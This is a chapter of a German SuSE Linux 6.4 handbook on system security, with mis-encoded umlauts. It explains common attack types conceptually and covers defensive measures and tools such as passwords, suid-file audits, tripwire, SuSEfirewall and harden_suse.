home *** CD-ROM | disk | FTP | other *** search
/ Chip 2000 May / Chip_2000-05_cd2.bin / docu / ascii / suselxde / slxde-18.txt < prev    next >
Text File  |  2000-02-29  |  49KB  |  871 lines

  1.           Teil VIII
  2.  
  3. Sicherheit und andere Tipps
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.                                457
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.                                                                                         Kapitel 18
  22.                   Sicherheit ist Vertrauenssache
  23.  
  24. 18.1 Grundlagen
  25. Bedrohungen aus dem Internet sind aus den heutigen Medien nicht mehr
  26. wegzudenken. Nahezu tΣglich erfΣhrt man von einer neuen Gefahr fⁿr den
  27. heimischen Rechner oder fⁿr das gesamte Firmennetz durch Angriffe aus
  28. dem Internet oder durch Viren. TatsΣchlich jedoch kann vor dieser Art von
  29. Bedrohung auch ein Schutz erworben werden.
  30. Bevor auf einzelne Schutzmechanismen eingegangen werden kann, muss
  31. klargestellt werden, was Sicherheit1 (engl. Security) ⁿberhaupt bedeutet und
  32. vor was man sich schⁿtzen m÷chte. Folgende 6 Punkte machen schnell klar,
  33. dass die Sicherheit eines Rechners ein erstrebenswertes Ziel darstellt:
  34.  
  35. 1. Schutz der Ressourcen
  36. 2. Zugang zu Informationen
  37. 3. Verfⁿgbarkeit von Daten
  38. 4. IntegritΣt der Daten
  39. 5. Vertraulichkeit der Daten (Rechtsvorschriften, z. B. Arztpraxen, Banken)
  40. 6. PrivatsphΣre
  41.  
  42. Die GewΣhrleistung dieser 6 Punkte soll das Ziel eines ausgearbeiteten Si-
  43. cherheitskonzeptes sein. Hier muss nicht nur der Schutz vor Zugriffen unbe-
  44. fugter Dritter in Betracht gezogen werden, sondern auch die Gefahren durch
  45. schadhafte Hardware, wie z. B. Festplattencrashs oder defekte Sicherungs-
  46. bΣnder.
  47. Falls Transaktionsdaten auf dem System verarbeitet werden, greifen hier die
  48. gesetzlichen Bestimmungen der GoB (GrundsΣtze ordnungsgemΣ▀er Buch-
  49. fⁿhrung), welche u. a. die Systemverwalter dazu verpflichtet, das System vor
  50. unberechtigten Zugriffen zu schⁿtzen2.
  51.  
  52.  Ein elementarer Bestandteil eines guten Sicherheitskonzeptes ist das re-
  53.  gelmΣ▀ige Erstellen von Backups, die auch auf ihre Verwendbarkeit hin
  54.  geprⁿft werden sollten.
  55.  
  56. 1 Im amerikanischen Sprachgebrauch findet sich hΣufiger das Wort Trust, das mehr den Grad des
  57. Vertrauens zum Ausdruck bringen soll, welches der Anwender seinem System entgegenbringt.
  58. 2 Es greifen noch andere Bestimmungen, z. B. dass die Transaktionsdaten fⁿr mindestens 10 Jah-
  59. re fⁿr Prⁿfungen zur Verfⁿgung stehen.
  60.  
  61.                                                                                                   459
  62.  
  63.  
  64.  
  65. 18. Sicherheit ist Vertrauenssache
  66.  
  67.                  Zusammengefasst ergeben sich folgende m÷gliche Punkte, in denen die Si-
  68.                  cherheit eines Computersystems Gefahren ausgesetzt ist:
  69.  
  70.                  Benutzer, die direkt an den jeweiligen Computern arbeiten, stellen die gr÷▀-
  71.                     te aller denkbaren Bedrohungen dar. Dies muss nicht in jedem Fall beab-
  72.                     sichtigt sein, aber natⁿrlich sind auch gezielte Angriffe durch Mitarbeiter
  73.                     denkbar.
  74.                  Kommunikation ⁿber lokale oder Weitverkehrs-Netze, wie auch das Inter-
  75.                     net, kann einerseits abgeh÷rt werden, andererseits bieten diese Netze An-
  76.                     griffsm÷glichkeiten, ohne dass der Angreifer sich direkt vor Ort aufhalten
  77.                     muss.
  78.                  Direkter Zugriff auf Computer durch Einbrecher oder andere unbefugte
  79.                     Personen, Diebstahl oder Sabotage.
  80.                  Naturkatastrophen gegenⁿber sind Computer sehr anfΣllig.
  81.                  Hardware und Software kann fehlerhaft sein, durch Designfehler oder kon-
  82.                     krete Defekte, und damit nicht nur den Datenbestand an sich gefΣhrden,
  83.                     sondern auch eine Kompromittierung erm÷glichen bzw. den Dienst kom-
  84.                     plett unbrauchbar machen (siehe auch Abschnitt 82 auf Seite 464).
  85.                  Speichermedien wie Disketten, BΣnder oder Festplatten k÷nnen entwendet
  86.                     oder (unbeabsichtigt) beschΣdigt werden.
  87.                  Elektromagnetische Strahlung wird von jedem Computer, Monitor und
  88.                     Netzwerkkabel emittiert. Die darin enthaltene Information kann mit ge-
  89.                     eigneten GerΣten empfangen und nutzbar gemacht werden. Diese Strahlen
  90.                     werden auch ⁿber Rohrleitungen und Stromkabel transportiert, entgegen
  91.                     der ⁿblichen Meinung strahlen ⁿbrigens auch LCD Monitore Strahlen ab.
  92.  
  93.                  Hier soll insbesondere auf die ersten beiden Punkte eingegangen werden, da
  94.                  gerade in diesen Bereichen durch den planvollen Einsatz von SuSE Linux
  95.                  Gefahrenpotential weitgehend abgebaut werden kann. Die ⁿbrigen Punkte
  96.                  sind fⁿr den Privatanwender von SuSE Linux sicherlich weniger interessant,
  97.                  beim Aufbau eines Firmennetzes sollten sich die zustΣndigen Personenkreise
  98.                  aber auch hier Gedanken machen.
  99.                  In Abschnitt 18.1.1 und Abschnitt 18.1.2 auf Seite 463 wird zunΣchst auf die
  100.                  unterschiedlichen Angriffsformen eingegangen, bevor dann in Abschnitt 18.2
  101.                  auf Seite 465 auf Seite 465 die einzelnen Werkzeuge, die in SuSE Linux
  102.                  6.4 zur Verfⁿgung stehen, im Detail vorgestellt werden. Zum Schluss gibt es
  103.                  einige allgemein gⁿltige Hinweise, die auf jeden Fall beachtet werden sollten.
  104.  
  105.                  18.1.1 Lokale Sicherheit
  106.  
  107.                  Wer im Glashaus sitzt ... Mit der Sicherheit fΣngt man am besten beim ei-
  108.                  genen Rechner im lokalen Netz an. Doch auch wenn der Rechner nicht oder
  109.                  nur temporΣr an einem Netz hΣngt, sollten gewisse Mindestvoraussetzungen
  110.                  beachtet werden. Schon das L÷schen der Festplatte durch PartygΣste kann zu
  111.                  einem gro▀en ─rgernis werden, wenn dabei die letzten Ergebnisse der Pro-
  112.                  motionsarbeit verlorengehen.
  113.  
  114. 460
  115.  
  116.  
  117.  
  118.                                                                                            18.1. Grundlagen
  119.  
  120. Passw÷rter
  121. Linux als Multiuser-Betriebssystem hat nicht nur ein Benutzerkonzept, son-
  122. dern verfⁿgt auch ⁿber einen Authentifizierungsmechanismus durch die Pass-
  123. wortabfrage. Auch wenn es unbequem erscheint, Sie sollten fⁿr alle Benutzer
  124. auf Ihrem System ein gutes Passwort3 vergeben. Dies gibt Ihrem System zu-
  125. mindest guten Schutz vor dem unbedarften Eindringling. Insbesondere der
  126. Benutzer `root' ist das prominenteste Ziel von Angriffen, hier sollte das
  127. Passwort mit besonderer Sorgfalt gewΣhlt werden.
  128. Doch die besten Passw÷rter k÷nnen nicht helfen, wenn der Eindringling di-
  129. rekten Zugang zu dem Rechner hat und ihn von dort zum Booten bewegen
  130. kann. Mit einer Bootdiskette kann Zugang zum installierten System erlangt
  131. werden. Aus diesem Grund sollten im BIOS-Setup ( BIOS) des PC die Dis-
  132. kettenlaufwerke ¡ sofern vorhanden ¡ als bootbare Medien deaktiviert wer-
  133. den.
  134.  
  135.  Damit diese Sperre nicht umgangen werden kann, sollte im gleichen Zug
  136.  ein BIOS-Passwort gesetzt werden. Das Passwort selbst darf jedoch auf
  137.  gar keinen Fall vergessen werden, ansonsten ist der spΣtere Zugriff auf
  138.  das BIOS unm÷glich ¡ au▀er das BIOS wird mittels einer ▄berbrⁿckung
  139.  zurⁿck gesetzt.
  140.  
  141. Falls LILO benutzt wird (vgl. auf Seite 126), sollte in der Datei /etc/
  142. lilo.conf die Option restricted zusammen mit einem Passwort
  143. (z. B. password=sicheres_passwort) eingetragen werden und mit-
  144. tels lilo aktiviert werden. Ansonsten ist es fⁿr jeden m÷glich, der direkt am
  145. Rechner sitzt, das System zu kompromittieren. Das Passwort muss natⁿrlich
  146. sicher gewΣhlt sein, und die Datei /etc/lilo.conf darf nur fⁿr den
  147. Benutzer `root' lesbar sein.
  148. Das Paket john in Serie sec (Sicherheitsrelevante Software) enthΣlt ein Pro-
  149. gramm, um Passw÷rter zu erraten. Dieses kann der umsichtige Administrator
  150. verwenden, um schwache Passw÷rter automatisch erkennen zu lassen, und
  151. die Benutzer anzuweisen, nur sichere Passw÷rter zu verwenden.
  152.  
  153. Zugriffsrechte
  154. Um die M÷glichkeiten der einzelnen User einzuschrΣnken, beabsichtigt oder
  155. unbeabsichtigt Schaden anzurichten, sollten die User jeweils mit minimalen
  156. Rechten arbeiten. So ist es eine Grundregel, dass nicht jeder Anwender auf
  157. seinem Rechner stets als `root' arbeiten muss; selbst das gut gewΣhlte
  158. Passwort sollte nur den Administratoren bekannt sein.
  159.  
  160. Buffer Overflows und andere Angriffe
  161. Nach wie vor die beliebteste Methode, `root'-Rechte auf einem Rechner
  162. zu erlangen, sind die so genannten  buffer overflows"4. Bei diesen  Exploits"
  163. werden statische Felder im  User Stack" eines Programms, z. B. wΣhrend
  164. 3 ▄ber die Wahl eines guten Passwortes sind schon sehr lange Artikel verfasst worden. In Ab-
  165. schnitt 18.4 auf Seite 474 werden einige Hinweise gegeben.
  166. 4 Auch bekannt als  stack smashing vulnerabilities".
  167.  
  168.                                                                                                        461
  169.  
  170.  
  171.  
  172. 18. Sicherheit ist Vertrauenssache
  173.  
  174.                  einer Texteingabe, gezielt mit Werten ⁿberschrieben, die andere Variablen im
  175.                  User Stack (also der Funktionstack und der Programmheap) ⁿberschreiben, so
  176.                  dass gewⁿnschter Code ausgefⁿhrt werden kann, etwa das Starten einer Shell.
  177.                  Betroffen sind hiervon ausschlie▀lich Programme mit statischen Arraygr÷▀en
  178.                  fⁿr Eingabewerte ohne ▄berprⁿfung auf Pufferⁿberlauf.
  179.  
  180.                  Die einzigen attraktiven Programme fⁿr diese Angriffsform sind solche, die
  181.                  das suid- oder sgid-Bit gesetzt haben, also Programme, die mit den Rechten
  182.                  des Eigentⁿmers und nicht des aufrufenden Users gestartet werden. ▄blicher-
  183.                  weise ben÷tigen Programme deshalb suid-root, da sie Aufgaben ausfⁿhren
  184.                  (wie z. B. passwd), zu denen ein normaler User keine Berechtigung hat. Da-
  185.                  her ist es das Ziel der Distribution, die Anzahl dieser Programme m÷glichst
  186.                  gering zu halten und diese gegen derartige Angriffe abzusichern. Neben die-
  187.                  sen Programmen sind auch die Systemdienste in Form von Daemonen an-
  188.                  fΣllig fⁿr diese Art Angriff. Weiterhin sollten einschlΣgige Medien beachtet,
  189.                  sowie bei Bekanntwerden derartiger Lⁿcken verfⁿgbare Updates und Patches
  190.                  zⁿgig eingespielt werden.
  191.  
  192.                  Ein weiterer Angriff auf privilegierte Programme und laufende Dienste sind
  193.                  so genannte  link attacks". Durch unsicheres Arbeiten der Programme in ÷f-
  194.                  fentlichen Verzeichnissen kann es m÷glich sein, Daten in vollkommen andere
  195.                  Dateien umzuleiten, und so das System zu kompromittieren oder zum Absturz
  196.                  zu bringen.
  197.  
  198.                  Um die Anzahl der suid- und sgid-Dateien auf dem System zu reduzieren,
  199.                  kann man bei SuSE Linux mit YaST unter `Administration des
  200.                  Systems' und `Einstellungen zur Systemsicherheit' im
  201.                  Auswahlfenster `Rechte auf Dateien werden gesetzt auf:'
  202.                  auf secure oder paranoid setzen. Welche Rechte dadurch gesetzt wer-
  203.                  den, k÷nnen Sie in den Dateien /etc/permissions.secure und
  204.                  /etc/permissions.paranoid nachprⁿfen. Bei paranoid sollte
  205.                  man sich vor dessen Verwendung jedoch vergewissern, dass die Funktiona-
  206.                  litΣt des Systems fⁿr die eigenen Bedⁿrfnisse nicht zu sehr eingeschrΣnkt
  207.                  wird.
  208.  
  209.                  Aufgrund seiner KomplexitΣt und des gewachsenen Codes ist das X Window
  210.                  System (XFree86) immer mal wieder auffΣllig geworden. Mittlerweile hat
  211.                  sich diese Problematik unter SuSE Linux entschΣrft, da die Server und Libra-
  212.                  ries nicht mehr suid-root gesetzt sind. Dennoch ergeben sich unter bestimm-
  213.                  ten UmstΣnden einige MΣngel in der Client-Server Kommunikation. Hier ist
  214.                  z. B. das Abh÷ren von Tastatureingaben sowie das Auslesen von Fensterin-
  215.                  halten m÷glich. Unter Beachtung von Regel 3 und der Verwendung von Xau-
  216.                  thority mittels xauth sowie der Vermeidung von xhost + kann jedoch ein
  217.                  grundlegendes Ma▀ an Sicherheit erreicht werden. Um remote X-Programme
  218.                  zu starten, sollte m÷glichst das Paket ssh der Serie sec (Sicherheitsrelevan-
  219.                  te Software) verwendet werden; im kommerziellen Umfeld beachten Sie bitte
  220.                  die Lizenzbestimmung (/usr/doc/packages/ssh/COPYING). ssh ist
  221.                  auch fⁿr die anderen gΣngigen Plattformen verfⁿgbar. Jedoch birgt dieses so
  222.                  genannte X11-Forwarding seine eigenen Gefahren, bitte erwΣgen Sie auch
  223.                  ganz darauf zu verzichten.
  224.  
  225. 462
  226.  
  227.  
  228.  
  229.                                                                             18.1. Grundlagen
  230.  
  231.  Auf kritischen Serversystemen sollte jedoch, schon aus Performance-
  232.  Grⁿnden, kein X Window System eingesetzt werden.
  233.  
  234. Viren und Pferde
  235. Bis vor relativ kurzer Zeit trieben diverse Arten von Viren ihr Unwesen nicht
  236. nur auf Homecomputern, da das Transportieren und Weitergeben von Soft-
  237. ware auf Diskette den idealen NΣhrboden fⁿr diese Programme darstellt. Zum
  238. Glⁿck sind bislang fⁿr Linux gerade mal 2 Viren bekannt. Da fⁿr Linux kaum
  239. Software im BinΣrformat weitergegeben wird und SuSE Linux selbst als vi-
  240. renfrei angesehen werden kann, besteht unter Beachtung von Regel 1 auf Sei-
  241. te 474 keine Gefahr von Viren.
  242. Anders sieht es jedoch mit den immer noch stark zunehmenden Makro-Viren
  243. aus, die vermehrt per E-Mail (in Textverarbeitungsdokumente eingebettet)
  244. verschickt werden. Da das gΣngige Office-Paket unter Linux nicht verfⁿgbar
  245. ist, befinden sich diese Makro-Viren auf SuSE Linux in einer  sterilen" Um-
  246. gebung. Aufgrund der Tatsache, dass SuSE Linux vermehrt auf Mail-Servern
  247. als  Mail Transfer Agent" eingesetzt wird, bietet sich hier die Gelegenheit,
  248. eingehende und ausgehende Mails automatisch nach eingebetteten Viren zu
  249. scannen.
  250. Die so genannten  trojanische Pferde" verdienen eine gesonderte Beachtung.
  251. Diese Programme gaukeln vor, etwas v÷llig anderes zu sein, um im Verbor-
  252. genen ihrem Tun nachzugehen. So kann sich z. B. hinter einem Loginprompt
  253. ein trojanisches Pferd verbergen, welches die ergaunerten Passw÷rter in ei-
  254. ner Datei sammelt oder per E-Mail versendet. Das h÷rt sich vielleicht noch
  255. ganz harmlos an, jedoch spΣtestens wenn es um Kreditkartennummern oder
  256. die PIN zum Girokonto geht, h÷rt der Spa▀ auf. Die Chance, ein trojanisches
  257. Pferd aus dem Internet herunterzuladen oder per E-Mail zu empfangen, ist
  258. relativ gering, jedoch ist es eine ⁿbliche Technik auf einem bereits kompro-
  259. mittierten System einige Trojaner zu hinterlassen, um sich jederzeit wieder
  260. Zugang verschaffen zu k÷nnen. Die Existenz von trojanischen Pferden kann
  261. also als sicherer Indikator fⁿr ein kompromittiertes System dienen.
  262. Einen endgⁿltigen Schutz vor Viren und vor trojanischen Pferden kann es
  263. nicht geben, jedoch kann ein guter Virenscanner sowie ein durchdachter Um-
  264. gang mit Disketten und Fremdprogrammen und die Beachtung der Regeln in
  265. Abschnitt 18.4 auf Seite 474 viel beitragen. Auch die Verwendung von Pro-
  266. grammen wie tripwire, Paket tripwire, Serie sec (Sicherheitsrelevante
  267. Software), siehe auf Seite 466 hilft bei der Erkennung.
  268.  
  269. 18.1.2 Netzwerk-Sicherheit
  270. Kaum mehr ein Rechner steht alleine in der Kammer. Mittlerweile sind gerade
  271. wegen der ausgezeichneten NetzwerkfΣhigkeit von Linux die Rechner im
  272. LAN vernetzt, hΣngen ⁿber Modem oder ISDN im Internet oder dienen als
  273. Gateway fⁿr ganze Subnetze. Dabei besteht fⁿr jeden Rechner die Gefahr
  274. vielfΣltiger Angriffe ⁿber das Netzwerk.
  275. Bei geeigneter Konfiguration eines Firewalls k÷nnen die meisten Angriffs-
  276. formen abgewehrt werden; zwar sind die ge÷ffneten Ports nach wie vor ver-
  277.  
  278.                                                                                         463
  279.  
  280.  
  281.  
  282. 18. Sicherheit ist Vertrauenssache
  283.  
  284.                  wundbar, jedoch kann durch den Einsatz weiterer Tools auch hier das Risiko
  285.                  entschieden vermindert werden.
  286.                  Die Wahrscheinlichkeit, wΣhrend der 30 Minuten Maillesen ⁿber eine WΣhl-
  287.                  leitung Ziel eines Angriffs zu werden, kann als gering eingestuft werden.
  288.                  ▄ber permanente Leitungen verbundene Systeme sollten aber auf jeden Fall
  289.                  geschⁿtzt werden. Die wichtigsten Angriffsformen werden hier kurz vorge-
  290.                  stellt.
  291.  
  292.                  Man in the Middle
  293.                  Die  Man in the Middle"-Angriffe beziehen sich auf Netzwerkverkehr, der
  294.                  ⁿber einen oder mehrere Rechner zwischen verschiedenen Netzen geroutet
  295.                  wird. Der Angreifer hat dabei Kontrolle ⁿber einen der Router, kann unter-
  296.                  wegs IP Pakete abh÷ren, umleiten und austauschen. Da momentan IP-Pakete
  297.                  nicht authentifiziert sind, ist dieser Angriff leicht m÷glich. Besserung ver-
  298.                  spricht IPv6, der kommende Standard.
  299.                  Die einzige Abhilfe gegen diese Art von Angriffen, etwa beim Mailaustausch
  300.                  oder bei Zugriffen auf WWW-Server, bietet nur der Einsatz starker Krypto-
  301.                  graphie. Netzverbindungen mit telnet oder rsh k÷nnen im Klartext inklu-
  302.                  sive Passwort mitgelesen werden. Das ist der hΣufigste Grund fⁿr die Kom-
  303.                  promitierung eines Systems von au▀en! Hier sollte umgehend auf die Verwen-
  304.                  dung von ssh gewechselt werden. Zur Signatur vom E-Mails empfiehlt sich
  305.                  die Verwendung von pgp. Eine verschlⁿsselte ▄bertragung von HTTP-Seiten
  306.                  kann mit dem SSL5 Protokoll erreicht werden ( Verschlⁿsselung). Die Qua-
  307.                  litΣt der Verschlⁿsselung steht und fΣllt jedoch mit der sicheren ▄bertragung
  308.                  der Schlⁿssel. Hierbei sollte also besondere Vorsicht walten!
  309.                  Das Paket modssl in Serie n (Netzwerk) enthΣlt das SSL-Modul fⁿr den
  310.                  HTTP-Server Paket apache.
  311.  
  312.                  Buffer Overflows, die 2.
  313.                  Nach dem so genannten  sniffing", dem passiven Mitlesen von Daten (z. B.
  314.                  Login und Passwort), sind Buffer Overflows die hΣufigste Art der Kompro-
  315.                  mittierung von au▀en. Hier gilt: Jeder von au▀en erreichbare Dienst (z. B.
  316.                  Mail, Webserver, POP3 etc.) stellt ein potentielles Sicherheitsproblem dar. Je-
  317.                  der Dienst der unbedingt ben÷tigt und nicht abgeschaltet werden kann, soll-
  318.                  te wenn m÷glich ⁿber eine Firewall-Filter-Konfiguration des Linux-Kernels
  319.                  (mittels ipchains) nur von bestimmten Systemen erreichbar sein. Wenn
  320.                  auch das nicht m÷glich ist, sollte versucht werden, den Dienst durch eine
  321.                  besonders sichere Version zu ersetzten (z. B. Paket postfix anstatt Paket
  322.                  sendmail). Experten k÷nnen darⁿber hinaus noch jeden Dienst in einer ei-
  323.                  genen chroot-Umgebung laufen lassen.
  324.  
  325.                  Denial of Service
  326.                  Bei den  Denial-of-Service"-Attacken schaltet der Angreifer einen Netz-
  327.                  dienst durch ▄berlastung gezielt aus. Unter UmstΣnden ist davon dann nicht
  328.                  nur der einzelne Dienst betroffen, sondern die ganze Maschine kann nicht
  329.                  5 SSL steht fⁿr Secure Socket Layer.
  330.  
  331. 464
  332.  
  333.  
  334.  
  335.                                                                                     18.2. Tools
  336.  
  337. mehr erreicht werden. HΣufig wird diese Angriffsform eingesetzt, um einen
  338. Nameserver auszuschalten, damit dessen Funktion ⁿbernommen werden
  339. kann. Nach der ▄bernahme k÷nnen dann Netzwerkpakete an eine andere
  340. Stelle geleitet werden. Denial-of-Service wird zumeist mit IP Spoofing kom-
  341. biniert eingesetzt, um die Herkunft zu verschleiern; vgl. auf dieser Seite.
  342. Daher ist eine Rⁿckverfolgung in den meisten FΣllen aussichtslos. Es muss
  343. einfach besser abgesichert werden.
  344. Zu Denial-of-Service-Angriffen, die zum kompletten Stillstand einer Maschi-
  345. ne fⁿhren k÷nnen, gibt es in der Regel innerhalb von Stunden nach dem Be-
  346. kanntwerden einen Patch. SuSE Linux ist gegen die zum jeweiligen Release-
  347. zeitpunkt bekannten Denial-of-Service Angriffe abgesichert, soweit Patches
  348. vorhanden. Dennoch sollte der verantwortliche Systembetreuer sich stets auf
  349. dem laufenden halten.
  350.  
  351. IP Spoofing
  352. Das  IP Spoofing" bezeichnet eine Technik, die eine Sicherheitslⁿcke im
  353. TCP/IP Protokoll ausnutzt. Dabei wird die Absenderadresse eines TCP/IP-
  354. Paketes nicht ⁿberprⁿft, und kann somit mit einem beliebigen Wert gefⁿllt
  355. werden. Damit kann der Urheber einer Attacke seine Herkunft verschleiern.
  356. ZunΣchst ist es wichtig, den eigenen Router ins externe Netz so zu konfigu-
  357. rieren, dass nur Pakete mit einer externen Absendeadresse ins interne Netz
  358. passieren k÷nnen und nur Pakete mit einer internen Adresse ins externe Netz
  359. geroutet werden.
  360.  
  361. 18.2 Tools
  362. Nun gehen wir darauf ein, welche M÷glichkeiten man hat, mit Hilfe von Tools
  363. das eigene System zu ⁿberwachen und auf evtl. vorhandene Schwachstellen
  364. zu ⁿberprⁿfen. An dieser Stelle soll jedoch noch einmal darauf hingewiesen
  365. sein, dass die potentielle GefΣhrdung eines Rechners immer individuell unter-
  366. schiedlich einzustufen ist. In einem durch einen Firewall geschⁿtzten Netz-
  367. werk bedarf es sicherlich weniger Schutz- und ▄berwachungsma▀nahmen,
  368. als in einem ungeschⁿtzten Netzwerk.
  369.  
  370. 18.2.1 Lokale Tools
  371. Der unumstrittene Vorteil von Linux gegenⁿber anderen Betriebssystemen
  372. ist zum einen die StabilitΣt und zum anderen die Tatsache, dass es sich um
  373. ein Multiuser-Betriebssystem handelt. Letzteres birgt jedoch auch Risiken,
  374. die man nicht unterschΣtzen sollte. So existieren zusΣtzlich zu den bekann-
  375. ten Dateirechten einige, die durch erfahrene Benutzer (Angreifer) ausgenutzt
  376. werden k÷nnten. Die Rede ist vom sog. suid-Bit. Ein Programm, welches
  377. dieses Bit gesetzt hat, bekommt automatisch die Rechte des Benutzers, dem
  378. es geh÷rt. Geh÷rt besagtes Programm dem Superuser, und wird von einem
  379. beliebigen Benutzer gestartet, so hat es im laufenden System die Rechte des
  380. Superusers. Das h÷rt sich jetzt sehr gefΣhrlich an, ist jedoch fⁿr gewisse Funk-
  381. tionalitΣten unumgΣnglich. So muss z. B. das Programm ping mit Superuser-
  382. Rechten ausgefⁿhrt werden. Das wⁿrde bedeuten, dass nur `root' dieses
  383.  
  384.                                                                                            465
  385.  
  386.  
  387.  
  388. 18. Sicherheit ist Vertrauenssache
  389.  
  390.                  Programm ausfⁿhren k÷nnte. Aus diesem Grund wird hier das suid-Bit ge-
  391.                  setzt.
  392.                      tux@erde:/home/tux > ls -l /bin/ping
  393.  
  394.                  -rwsr-xr-x        1 root         root     13216 Mar 17 16:36 /bin/ping
  395.  
  396.  
  397.                  Wenn Sie wissen m÷chten, welche Programme in Ihrem System das suid-
  398.                  Bit gesetzt haben und dem Benutzer `root' geh÷ren, geben Sie einmal
  399.                  folgendes ein:
  400.                      tux@erde:/home/tux > find / -uid 0 -perm +4000
  401.                  Auf diese Weise k÷nnen Sie  verdΣchtige" Programme identifizieren. Bei
  402.                  SuSE Linux k÷nnen Sie mit Hilfe von YaST unter `Administrati-
  403.                  on des Systems' und `Einstellungen zur Systemsicher-
  404.                  heit' im Auswahlfenster `Rechte auf Dateien werden ge-
  405.                  setzt auf:' auf secure setzen. Welche Rechte dadurch gesetzt werden,
  406.                  k÷nnen Sie in der Datei /etc/permissions.secure nachprⁿfen.
  407.                  Kaum jemand hat sicherlich die Zeit dazu, seinen oder seine Arbeitsplatz-
  408.                  rechner stΣndig mit ausgeklⁿgelten Kommandos zu ⁿberwachen. Fⁿr diese
  409.                  Aufgabe existieren zum Glⁿck Tools, die einem eine Menge Arbeit ersparen
  410.                  k÷nnen. Auf eines dieser Tools werde ich hier kurz eingehen, da es u. a. auch
  411.                  vom CERT6 empfohlen wird. Die Rede ist vom Programm tripwire, Paket
  412.                  tripwire, Serie sec (Sicherheitsrelevante Software).
  413.  
  414.                  Tripwire
  415.                  Die Funktionsweise dieses Programmes ist im Prinzip ganz einfach. Das Pro-
  416.                  gramm sieht das System durch und speichert Informationen ⁿber und zu Da-
  417.                  teien in einer Datenbank. Welche Dateien und Verzeichnisse ⁿberwacht und
  418.                  welche Informationen ⁿberprⁿft werden sollen, lΣsst sich mittels einer Konfi-
  419.                  gurationsdatei steuern.
  420.                  Tripwire schaut nicht nach infizierten Dateien oder Fehlern im System. Es
  421.                  erstellt lediglich eine Datenbank eines Systems, bei dem davon ausgegangen
  422.                  werden muss, dass es  sauber" ist. Deshalb sollte die Datenbank unmittelbar
  423.                  nach der Installation eines Systems erstellt werden, am Besten bevor der
  424.                  Rechner an das Netz angeschlossen wird. Mit Hilfe des folgenden Aufrufes
  425.                  wird eine Datenbank erstellt:
  426.                      root@erde:root > /var/adm/tripwire/bin/tripwire -init
  427.                  Tabelle 18.1 auf der nΣchsten Seite zeigt die Pfade auf Datenbank und Kon-
  428.                  figurationsdatei, die im Paket tripwire aus SuSE Linux fest eincompiliert
  429.                  wurden.
  430.                  Die Pfade sind so gewΣhlt, weil nur der Superuser in sein Homeverzeichnis
  431.                  /root wechseln und hineinsehen kann. Im Idealfall sollte sich die Daten-
  432.                  bank auf einem Dateisystem befinden, auf das nur lesend zugegriffen werden
  433.                  kann, z. B. eine schreibgeschⁿtzte Diskette, da sonst ein erfolgreicher An-
  434.                  greifer seine Manipulationen durch das Anpassen der Datenbank verbergen
  435.                  6 CERT = engl. Computer Emergency Response Team; siehe http://www.cert.dfn.de/
  436.                  dfncert/info.html.
  437.  
  438. 466
  439.  
  440.  
  441.  
  442.                                                                                   18.2. Tools
  443.  
  444.  
  445.  /var/adm/tripwire             Datenbank und Konfigurationsdatei
  446.  databases                     Dieses Verzeichnis wird automatisch er-
  447.                                stellt. Hier werden neu erstellte Datenban-
  448.                                ken temporΣr abgelegt. Sie mⁿssen dann
  449.                                von Hand an die richtige Stelle kopiert wer-
  450.                                den.
  451.  /var/adm/                     Die Konfigurationsdatei
  452.  tripwire/tw.
  453.  config
  454.  /var/adm/                     Hier liegt die Datenbank
  455.  tripwire/db
  456.  
  457.             Tabelle 18.1: Die eincompilierten Pfade fⁿr Tripwire
  458.  
  459. kann. Eine Beispielkonfiguration fⁿr Tripwire finden Sie unter /usr/doc/
  460. packages/tripwire/tw.conf.example.linux. ▄ber Syntax und
  461. Features dieser Konfigurationsdatei finden Sie Informationen in der Manpa-
  462. ge zu tw.config. Es lassen sich hier verschiedene Prⁿfsummenverfahren
  463. individuell auf einzelne Dateien anwenden. Weiterhin kann angegeben wer-
  464. den, welche Informationen einer Datei oder eines Verzeichnisses gespeichert
  465. werden sollen.
  466. Nachdem man seine individuelle Konfigurationsdatei erstellt hat, kann man
  467. tripwire z. B. regelmΣ▀ig als Cronjob ausfⁿhren lassen.
  468.  
  469. SuSE Security Tools
  470. SuSE Linux hat inzwischen vier eigens entwickelte Sicherheitsprogramme,
  471. die Ihnen helfen, Ihr System sicherer zu machen und dieses zu kontrollieren:
  472. Das Paket firewals, Serie sec (Sicherheitsrelevante Software) enthΣlt
  473. das Skript /usr/sbin/SuSEfirewall, welches die Konfigurationsdatei
  474. /etc/rc.firewall ausliest, und danach restriktive Filterlisten mittels ip-
  475. chains generiert. Mehr Informationen finden Sie unter Abschnitt 18.2.2 auf
  476. Seite 469 Netzwerk-Tools.
  477. Das Paket secchk, Serie sec (Sicherheitsrelevante Software) enthΣlt meh-
  478. rere kleine Skripten, die tΣglich, w÷chentlich und monatlich spezielle Sicher-
  479. heitsⁿberprⁿfungen des Systems vornehmen (z. B. Konsistenz der Passwort-
  480. datei, Benutzerdaten, Passw÷rter knacken, laufende Module), und bei ─nde-
  481. rungen der Administrator benachrichtigt.
  482. Das Paket hardsuse, Serie sec (Sicherheitsrelevante Software) enthΣlt
  483. das Perl-Skript harden_suse (/usr/sbin/harden_suse), welches ent-
  484. wickelt wurde, um Systemverwaltern ein einfach zu bedienendes Programm
  485. zur Erh÷hung der Sicherheit an die Hand zu geben. Nach dem Start wer-
  486. den neun Ja/Nein-Fragen gestellt (z. B. ob alle Dienste deaktiviert werden
  487. sollen, Benutzer-Sicherheit erh÷ht oder suid- und sgid-Dateien minimieren),
  488. um nach den Angaben dann das System umzukonfigurieren. Eine Logda-
  489. tei mit den ─nderungen finden Sie in /etc/harden_suse.log, zudem
  490.  
  491.                                                                                          467
  492.  
  493.  
  494.  
  495. 18. Sicherheit ist Vertrauenssache
  496.  
  497.                  werden Sicherheitskopien der geΣnderten Dateien erstellt. Sollte das System
  498.                  sich anschlie▀end ungewollt verhalten, lassen sich die ─nderungen mittels
  499.                  /etc/undo_harden_suse wieder zurⁿcksetzen.
  500.                  Das Paket scslog, Serie sec (Sicherheitsrelevante Software) beinhaltet ein
  501.                  Kernel-Modul, welches nach dem Laden alle eingehenden und ausgehenden
  502.                  Netzwerkverbindungen protokolliert; Sie k÷nnen dies automatisieren, indem
  503.                  Sie es z. B. in die Startup-Dateien einfⁿgen.
  504.                  Das Paket secumod, Serie sec (Sicherheitsrelevante Software) enthΣlt
  505.                  ein weiteres Modul, welches Angriffe auf Ihr System verhindert oder er-
  506.                  schwert. Dazu geh÷ren bis jetzt der Schutz vor Symlink-, Hardlink- und
